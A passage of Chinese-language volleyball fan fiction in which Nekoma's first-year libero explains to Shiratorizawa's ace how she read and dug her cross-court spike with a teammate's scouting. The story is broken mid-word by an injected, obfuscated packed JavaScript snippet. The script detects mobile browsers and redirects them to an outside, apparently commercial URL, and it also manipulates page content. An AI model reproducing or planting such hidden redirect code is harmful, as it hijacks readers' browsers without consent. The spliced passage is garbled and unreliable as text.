“你是怎么做到的?”
古贺问。
比赛中其实并没有给双方这样交谈的时间,但在她问出后,鹫匠教练没有出言强调秩序,我们正站在别人家的地头,裁判也是白鸟泽的,更不会不识趣打扰自家主将。
事实上,我看得出,白鸟泽全体,从场上选手到场边部员,甚至教练都抱有统一的疑问,他们俱是目光灼热,我若是一张纸,怕是被看穿破一个洞。
古贺问完后又觉得不妥,也许是音驹的压箱底绝技呢?她正准备给个台阶把这事带过,就听见我开口了。
“很难吗?”我也难得有点顽皮,故意反问,迎着一众无语的目光,我慢悠悠道:“开玩笑,我只是赌了一把。”
“赌?”古贺重复着我的话,眼里的疑惑半丝未消,她甚至有点气恼了,认为我轻描淡写的态度是在驴她。
但音驹接住了球是事实,于是她按下烦躁,追问道:“什么意思?”
“我赌你还会打超手斜线。”她浑身散发躁闷的低气压,看得出耐心不怎么好,我却直直望进她眼底,分毫不畏惧。
“城山学姐拦网高度不够是事实,不是她的问题,因为古贺学姐自恃优势,换任何一个人,没有你这样的‘强大’都打不出这样的扣球。”
古贺听到我在夸她,有些赧然,但这依旧没解开她的困惑,正当她准备打断我,催我快点进入正题时,我顿了顿随即话锋陡转直下。
“正因为除了你谁都打不出,所以好用,因为好用,所以我赌你会继续用。”
我微微一笑。
“这便形成了规律。”
“可是这便产生了新的问题。”
我口干舌燥,下意识舔了舔嘴唇。牛岛若利注意到这个细节,目光淡淡扫过场边。
其他人没留意,他们皆目不转睛盯着我,古贺千华更是激动,连声催促:“什么问题?”被人说抓住破绽,她并不气馁,反而情绪高涨,看着我的眼神像孩子看到心仪的玩具,紧紧抓住不放。
不过很及时旁边不知谁递来一瓶水,我接过灌了一口,继续往下说。
“我要面对两个不确定。”我伸出手指,“第一,白鸟泽扣球的人一定还是你。第二,你选择的击破方向还是城山枫学姐。”
“副攻拦网漏下来的球,自由人去补,是最直接的想法,可是是哪个方向漏下来的球,如果你是朝我来,那我就简单了,只需要考虑怎么接——接不接的住是下一个问题。”
“自由人要补救,就要比球更快。”我回想方才在场上的思索过程,也不隐瞒,“我确实想过提前站到更深,城山学姐后面去,但你的滞空能力拥有后发制人的权力。”
后发制人的权力……
牛岛若利在心里把这几个字翻来覆去辗转,眼神变得赞叹。他的反应尚且收敛,鹫匠教练直接瞳孔地震,他素来瞧不上小个子,足以可见音驹自由人带给他的震惊。
古贺清楚自己的优势,瞧见她把自己看得这般明白,默默叹服音驹今年恐是捡到了宝。
她不该对黑尾铁纱的眼光和底线有怀疑。
事实证明音驹哪怕自由人空缺也不会让不合格的人选上场,鱼目混珠更是无稽之谈。能代表音驹防守的自由人绝非常人。
哪怕是一年级。
“我不可能先出手,我必须在你之后出手,因此——”我一字一句,“我只能去赌,在你出手后出手,才能换来一线生机。”
古贺拉长了声音,看似诘问:“那你胆子挺大?你在正式场上也敢赌?”
我摇摇头,“本来任何赌局都只有50%的概率,一半对,一半不对。”
“我甚至没有,因为要赌中你的两个不确定,我真实仅有25%的概率选中。如果是这个概率,去赌是风险极大,我当然也是不可能下手的。”
“下赌注的前提是信息,我一无所知自然不敢。”
古贺听我这样说时皱眉,我在她下一步询问前抢先开口。
“但我不是一个人啊。”
她讶然瞪大眼睛,乍然扭头瞥向场外。
所有人随着她的动作,想起了音驹那一次突兀可疑的暂停。
我点了点头,肯定了她的猜测。
“我有队友啊。”我说,“我对你一无所知,可是有人不是。”
我莞尔望向音驹场边,那里,站着猫又教练、直井领队,还有——小林铃那。和我对视上,她欣悦笑了,嘴角咧得老大,露出整齐的牙齿。
其他人包括我也是第一次看到,那个素来腼腆羞涩,表现内敛的一年级少女这样直白地外露自己的情绪。
不过这也是难免。
“铃那,就是我的队友,在暂停期间告诉了我几个关于白鸟泽的信息。”
我定睛看着古贺,“接着之前入场被学姐你听到的,白鸟泽的标准是‘单纯强大’,因为这样的标准,她告诉我,白鸟泽的战术核心一定是主攻核心打造的强攻体系。”
“说是攻手都不够。”我唇角弯弯,脸颊边有若隐若现酒窝,“其实只有一个核心罢了,那就是——”
“被称为‘接不住的扣杀’的古贺学姐你啊。”
我笑容增大,“你太强大,所以一切都是围绕你展开的,这就说明,和音驹不同,你们白鸟泽,你拥有绝对的球权,对吗?”
“哪怕其他人拿到球,也不会选择自己进攻,而是会把球尽数喂给你,因为在她们的印象里,只有你的扣球是最可靠的、最防不住的。”
我说这话时,古贺扫了一眼队友,在她的视线下,白鸟泽的其他队员羞愧地低下头。
因为主将太厉害太可靠,就会情不自禁依赖。
这,不是理所当然嘛……
“所以我的第一个不确定性被解决了,就只有第二个不确定性了。”我晃了晃手指,“铃那告诉我了一件事,她看过你们之前比赛的录像,发现了一个事情呢。”
古贺拧紧了眉头。
我“啧啧”几声后,这才说:“古贺学姐,不行啊,因为斜线是主攻最顺手的线路就一直打。”
“你第一球就选择了城山枫学姐,而不是打向我,为什么呢?”我自问自答,“明明我是一年级的新人诶,明晃晃就是靶子吧。”
“你一定不是觉得我很难攻破。”她对我的漫不经心其实并不难发现,整个白鸟泽从上到下都弥漫着对小个子的轻视和傲慢,不管也难怪,这样选拔标准下选拔的“优才”,我这种就是这个标准下的“劣品”,自然不会放在眼里。
“不是因为认为我棘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369789|197470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手,那第一球选择从城山学姐那里摸底,只能是古贺学姐你的个人喜好了。”
我笑容扩大,虽是问句,口吻却很笃定。
“学姐,你喜欢打斜线球吧?”
“也正常,直线需要手腕往外撇,发力受限,斜线更适合你这种大刀阔斧的风格。”
古贺有点不爽又有点心虚。
川合莉莉香说得一点不错,把她的心思完全料死了,但是……这样不就显得她像个笨蛋一样嘛。
然而这只是结果论。古贺依旧不死心,她打了这么多场球赛,屡试不爽,难道没有人看出她喜欢打斜线球吗?
肯定多少还是有人的。
还是那个问题,看得出和做不做得到是两码事。
尽管古贺这样想,心头对音驹自由人的赞叹却不断扩大,这让她耐心也多了很多,也不想着插嘴打断少女说话,沉默着竖起耳朵听着。
“我只是觉得你选择城山学姐摸底可疑,是我的队友肯定了我的猜测,你就是喜欢打斜线球。”我言之凿凿,“而你已经摸出了城山学姐臂展短,起跳时机抓得再准,也够不到你击球点这个突破口,所以你在第一球就得到了你想要的结果后,就大概率不会再换路线了。”
“两个确定性都解决后,留给我的问题只有一个。”
我缓缓说出,“就是怎么在你出手后,‘闪现’到球的落点。”
“因为我没办法先出手——因为怕你后发制人,所以留给我的选择只有一个,提前卡在斜线落点偏深的位置,用启动速度去够。”
牛岛微不可见地颔首,他彻底明白方才少女收了半步的动作。
古贺沉声道:“我理解你的选择了,可是你是怎么做到呢?”
她没看见,其他人看得清楚,旁边一个女孩终是控制不住,抢在队长前面问:“你怎么能那样,那样动呢?”
她形容不出来那些复杂的身体动作,只能干巴巴在手舞足蹈比划。
“额......”我摸了摸鼻子,有点不好意思,佐川麻美止不住得意,她又翘起了尾巴,这一次却没有人给她泼冷水,因为所有人都认可她的功劳。
佐川麻美叉腰,“那是因为莉莉会跳舞啊。”
“是我,把会跳舞的莉莉拉进了排球部哦。”
古贺:“……你是今年的新生?”
“对啊。”
“你要不要来白鸟泽?”她问。
她对我伸出手,“你考虑一下来白鸟泽,我们其他人的实力比你们学校要强,如果要夺冠的话,你加入我们,就万无一失!”
她没有开玩笑。她认真无比的眼神表面是真的这么想。
她也没有管现在还在比赛中,甚至是当着人家家长面前。
我低头瞄了一眼她伸出的手,没有抬手回握,而是说:“学姐,你们会输给我们,但不是输给我一个人啊。”
“是你接住了我们的球……”
“是的,但是——”我抿嘴一笑,答案早刻在我心间,“排球是六个人的运动吧。”
甚至不光六个人。
我的视线穿过她,看向铃那,她听到我的回答,眼睛亮晶晶对我竖起大拇指。
这场比赛最终以【2-0】结束。
我们赢了。